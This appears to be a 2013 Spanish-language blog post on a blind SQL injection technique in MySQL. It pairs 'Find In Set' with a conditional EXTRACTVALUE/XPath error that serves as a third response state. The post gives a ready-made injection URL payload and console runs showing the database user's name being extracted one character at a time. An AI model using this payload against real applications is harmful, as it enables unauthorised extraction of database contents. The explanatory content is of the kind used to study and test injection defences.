jueves, 2 de mayo de 2013

Find In Set con extractvalue y XPath

Una de las técnicas de inyección SQL que más me sorprendió, en cuanto a optimización de la extracción de datos en inyecciones ciegas, es "Find In Set". Pues llega al punto de mejorar la eficiencia "lineal" de la búsqueda binaria (que son siempre ocho consultas para cualquier carácter ASCII) a una expresión "logarítmica" que depende de la posición del carácter a extraer dentro de un conjunto arbitrario y esto es mucho mejor.

Sin embargo, tiene un pequeño gran problema: necesita un tercer estado para funcionar. Mientras que la técnica clásica de búsqueda binaria solo requiere dos estados (la página de verdadero y la de falso), Find In Set necesita un tercer estado que indique el final de la cadena binaria. Originalmente se sugería ejecutar un "delay" y usarlo como tercer estado, pero es contraproducente. Al final lo que se pretende es ahorrar tiempo no consultas.

También se habló de algunos casos prácticos en los cuales se podría conseguir multiples estados y usarlos en una inyección Find In Set. Pero son situaciones un tanto particulares.

Otra solución al problema del tercer estado, sugería generar un "error" en la consulta SQL de forma condicional. Puesto que no es lo mismo que la base de datos devuelva un conjunto "vacío" de resultados (cuando el WHERE es falso) a que devuelva un estado de error, las aplicaciones web mostrarían páginas diferentes que se pueden tomar como estados diferentes. Así tendríamos una página de verdadero, una de falso y otra de error.

¿Pero cómo genero un error de forma condicional en MySQL? Bueno, yo aún no lo sé. Pero gracias a un amigo (Arthusu) que me explicó una técnica Error Based con la función "extractvalue", se me ocurrió usar eso para generar un error XPath de forma conveniente en una inyección Find In Set y de eso es lo que trata este post.

Find In Set con extractvalue y XPath

La forma de la inyección es la siguiente:

sqli.php?id=' AND EXTRACTVALUE('<x>1</x>',CONCAT('//x[', MID( BIN( INSTR( BINARY'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ', MID(USER(),1,1))), 1, 1), ']')) --


La parte resaltada en amarillo es la forma usual de obtener la representación como cadena binaria del carácter a extraer. En este caso la primera letra del nombre del usuario. Se puede reemplazar la llamada a la función USER() por una subconsulta que obtenga la información deseada.

La función "EXTRACTVALUE" sirve para obtener un valor desde un documento XML usando una consulta XPath. Su sintaxis es la siguiente:

EXTRACTVALUE( 'TEXTO XML', 'CONSULTA XPATH' )

En la inyección, el texto XML es "<x>1</x>" y la consulta XPath es "//x[INDICE]". Donde INDICE es un valor que se obtiene de la cadena binaria con la función MID y por lo tanto solo puede ser "1" ó "0". El valor "1" resaltado en rojo se usa para ir recorriendo posiciones en la cadena binaria.

Cuando el indice es "1", la consulta XPath queda así: "//x[1]". Y ello indica que se debe extraer el valor del primer tag "x" que aparece en el documento XML que en nuestro caso es "1", es decir, extractvalue devolverá "1" que es lo mismo que verdadero.

Cuando el indice es "0", la consulta será: "//x[0]". Pero cero no es un indice válido, porque los tags se enumeran a partir de uno. Esto produce que extractvalue devuelva una cadena vacía que MySQL también interpreta como falso.

Finalmente, cuando al recorrer la cadena binaria (incrementando el valor "1" que está en rojo) lleguemos al final, la función MID devolverá una cadena vacía y la consulta XPath será: "//x[]". La cual no es una consulta válida y se producirá un "XPATH syntax error".

Veamos un ejemplo:

mysql> SELECT 1 FROM (SELECT 1)T WHERE 1=1 AND EXTRACTVALUE('1',CONCAT('//x[',MID(BIN(INSTR( BINARY'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ', MID(USER(),1,1))), 1, 1), ']'));
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

mysql> SELECT 1 FROM (SELECT 1)T WHERE 1=1 AND EXTRACTVALUE('1',CONCAT('//x[',MID(BIN(INSTR( BINARY'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ', MID(USER(),1,1))), 2, 1), ']'));
Empty set (0.00 sec)

mysql> SELECT 1 FROM (SELECT 1)T WHERE 1=1 AND EXTRACTVALUE('1',CONCAT('//x[',MID(BIN(INSTR( BINARY'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ', MID(USER(),1,1))), 3, 1), ']'));
Empty set (0.00 sec)

mysql> SELECT 1 FROM (SELECT 1)T WHERE 1=1 AND EXTRACTVALUE('1',CONCAT('//x[',MID(BIN(INSTR( BINARY'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ', MID(USER(),1,1))), 4, 1), ']'));
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.01 sec)

mysql> SELECT 1 FROM (SELECT 1)T WHERE 1=1 AND EXTRACTVALUE('1',CONCAT('//x[',MID(BIN(INSTR( BINARY'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ', MID(USER(),1,1))), 5, 1), ']'));
Empty set (0.00 sec)

mysql> SELECT 1 FROM (SELECT 1)T WHERE 1=1 AND EXTRACTVALUE('1',CONCAT('//x[',MID(BIN(INSTR( BINARY'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ', MID(USER(),1,1))), 6, 1), ']'));
ERROR 1105 (HY000): XPATH syntax error: ']'


El resultado fue: VERDADERO, FALSO, FALSO, VERDADERO, FALSO, ERROR. Lo cual se asocia con la cadena binaria "10010" que en base 10 es "18". Y el caracter de la posición 18 en el conjunto es "r" (de "root@localhost").

Por lo pronto es todo.

Un saludo.

No hay comentarios:

Publicar un comentario